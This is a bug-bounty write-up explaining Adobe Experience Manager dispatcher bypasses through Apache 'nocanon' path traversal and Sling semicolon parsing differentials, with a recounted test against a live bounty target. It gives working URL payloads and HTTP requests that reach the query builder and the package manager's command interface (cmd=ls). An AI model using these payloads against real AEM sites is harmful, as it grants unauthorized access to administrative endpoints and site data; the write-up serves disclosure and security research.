Critical SeverityAdobe AEM$10,000+ Bounties

The Complete Guide to Adobe Experience Manager (AEM) Dispatcher Bypasses

Muhammad Waseem • Technical Security Researcher

Calculating...
Reading Time: 15 min

Assaalam o Alaikum :)

My name is Muhammad Waseem. Today, we are going to discuss one of the most critical vulnerabilities in modern enterprise web architecture: Adobe Experience Manager (AEM) Dispatcher Bypasses.

Let's start.

01The Spark of Research

I was normally scrolling through Twitter when I noticed a post from Shubham Shah (infosec_au). In this post, he demonstrated how the Adobe AEM Dispatcher could be bypassed.

https://x.com/infosec_au/status/1977916711295709253View Post
Twitter Research Post

The post mentioned a detailed research center link that provides deep technical insights into AEM bugs:

https://slcyber.io/research-center/finding-critical-bugs-in-adobe-experience-manager/Read Research
SlCyber Research Article

02Analyzing the Foundation

"Adobe Experience Manager is one of the most popular CMSes around. Given its widespread use throughout the enterprise, you likely interact with AEM-based sites almost every day."

After reading this, I began to see the key things mentioned in the blog and how they apply to modern bug hunting.

03The Core of AEM Endpoints

The core of AEM exposes plenty of endpoints that leak information about how the site is structured. Some of the most famous, such as /bin/querybuilder.json, allow queries of all the "nodes" (page content) of the application.

Obviously, as a website running AEM, you don’t want all this functionality intended for authors to be exposed to the general public. And indeed, if you visit /bin/querybuilder.json on a properly secured AEM site, you should be blocked.

AEM Query Builder Endpoint

04Standard Dispatcher Configuration

Here’s a sample of the out-of-the-box (OOTB) dispatcher configuration for cloud AEM instances. It starts with everything blocked as a safeguard and opens only what customers need.

dispatcher.conf

# deny everything and allow specific entries
/0001 { /type "deny"  /url "*" }

# This rule allows content to be access
/0010 { /type "allow" /extension '(css|eot|gif|ico|jpeg|jpg|js|gif|pdf|png|svg|swf|ttf|woff|woff2|html|mp4|mov|m4v)' /path "/content/*" }

# Enable specific mime types in non-public content directories
/0011 { /type "allow" /method "GET" /extension '(css|eot|gif|ico|jpeg|jpg|js|gif|png|svg|swf|ttf|woff|woff2)' }

# Enable clientlibs proxy servlet
/0012 { /type "allow" /method "GET" /url "/etc.clientlibs/*" }

05Dispatcher Bypass #1: Apache vs Jetty

Adobe offers two ways to implement the dispatcher: via an Apache configuration and module (disp_apache2.so) or an IIS module. We focus on Apache-based setups as they are vastly more popular.

Looking at the default Apache config, some paths forward requests directly to the AEM host via ProxyPassMatch, bypassing the dispatcher ruleset:

httpd.conf

# Prevent rewrites and filtering of Delivery API URLs
<LocationMatch "^/adobe/dynamicmedia/deliver/.*">
    ProxyPassMatch http://${AEM_HOST}:${AEM_PORT}
    RewriteEngine Off
</LocationMatch>

# SITES-11040 Do ProxyPassMatch, if caching for GraphQL is not enabled
<LocationMatch "/graphql/execute.json/.*">
    ProxyPassMatch http://${AEM_HOST}:${AEM_PORT} nocanon
</LocationMatch>

Our first instinct was to use a traversal trick. The AEM host most commonly runs on Jetty, which historically allowed ..;/ as a stand-in for path traversal.

/adobe/dynamicmedia/deliver/..;/..;/..;/bin/querybuilder.json

The answer as it turns out is no – modern Jetty has a specific mitigation that blocks ..;/ sequences.

06The Power of 'nocanon'

Looking at the next LocationMatch is more interesting. Unlike the other rule, this one uses nocanon.

What is nocanon?

"Normally, mod_proxy will canonicalise ProxyPassed URLs. But this may be incompatible with some backends, particularly those that make use of PATH_INFO. The optional nocanon keyword suppresses this and passes the URL path 'raw' to the backend."

07Executing the nocanon Bypass

Usually, Apache normalizes the URL before checking the match. But with nocanon, the proxy passes the raw, un-normalized URL. We tried:

/graphql/execute.json/..%2f../bin/querybuilder.json

And it worked! Apache matches the raw URL because it contains the regex /graphql/execute.json/.*. Then, on the backend, Jetty normalizes the URL to /bin/querybuilder.json before passing it to AEM.

nocanon Bypass Logic

08Apache Sling – URL Decomposition

To find more bypasses, we examine Apache Sling, the framework AEM uses. Sling parses URLs into components: Resource Path, Selectors, Extension, Path Parameters, and Suffix.

Sling URL Structure

09Parsing Differentials

Consider the following URL: /bin/querybuilder.tiny.json;x='hello'/extra

  • Resource Path: /bin/querybuilder
  • Selectors: tiny
  • Extension: json
  • Path Parameter: ;x='hello'
  • Suffix: /extra

The dispatcher implements its own separate parser. If there is a parsing differential between how the dispatcher views a URL and how Sling parses it, a bypass is possible.

10Dispatcher Bypass #2: Semicolons

By analyzing the Dispatcher's decompose_url function in Ghidra, we found that it does not consider path parameters! To the dispatcher, ; is just a normal character.

Ghidra: decompose_url analysis

void decompose_url(char *uri,char **path,char **selectors,char **extension,char **suffix) {
  // ...
  if (pcVar2 != (char *)0x0) {
    *pcVar2 = '';
    *suffix = strdup(pcVar2);
  }
}

We can use this to hide our payload. For example:

/bin/querybuilder.json;x='a/b.css/c'

The dispatcher sees an extension of .css (which is whitelisted) and allows it. But Sling parses it as a call to /bin/querybuilder with a parameter.

11Dispatcher Bypass 2.5: The Hybrid

The LocationMatch regex in Apache is often unanchored (missing ^ and $). This means the match can occur anywhere in the string.

/bin/querybuilder.json;x='x/graphql/execute.json/x'

This hybrid bypass works in many situations where a WAF might block ..%2f...

Moving to Field Exploitation

18Detection

I use the Wappalyzer browser extension to detect which companies are using Adobe Experience Manager.

Wappalyzer Detection

19Finding a Target

I was hunting on Bugcrowd and noticed a high-value target running AEM. I picked it and began exploring.

Target Identification

21Initial Probing

I sent an initial request to check for the query builder endpoint directly.

Burp Suite Request

GET /graphql/execute.json/bin/querybuilder.json HTTP/2
Host: target.com
User-Agent: Mozilla/5.0 ...

Response returned: HTTP/2 404 Not Found. This did not work initially.

404 Response

22Successful Execution

Then I tried the nocanon bypass with encoded traversal:

Bypass Request

GET /graphql/execute.json/..%2f../bin/querybuilder.json HTTP/2

Response Returned:

{"success":true,"results":0,"total":0,"more":false,"offset":0,"hits":[]}

This was a highly positive result.

200 OK Response

23Path Discovery

I Googled the Top 10 sensitive paths for AEM and found critical endpoints like:

  • crx/packmgr/service.jsp
  • apps.2.json
  • crx/packmgr/service.jsp?cmd=ls&limit=10000

24Bypassing Packmgr

I tried to access the package manager. Direct access was blocked, but the bypass allowed it:

/graphql/execute.json/..%2F../crx/packmgr/service.jsp

Result: Allowed! I was able to see how the system commands work.

Unauthorized Package Manager Access

26Listing Packages & Impact

I executed the ls command to list all packages on the system:

/graphql/execute.json/..%2f../crx/packmgr/service.jsp?cmd=ls&limit=10000

This was enough to demonstrate critical impact to the bug bounty program.

Package Listing Impact

Reporting & Bounties

I submitted my findings on Bugcrowd and HackerOne across multiple different programs.

Bugcrowd Submission & Payout

Bugcrowd SubmissionBugcrowd Payout

HackerOne Reports (Same Results)

H1 Evidence 1H1 Evidence 2H1 Evidence 3

That's it! These are my insights into AEM security.

I hope you liked it. Feel free to connect with me for more research and collaborations!

Back to Blogs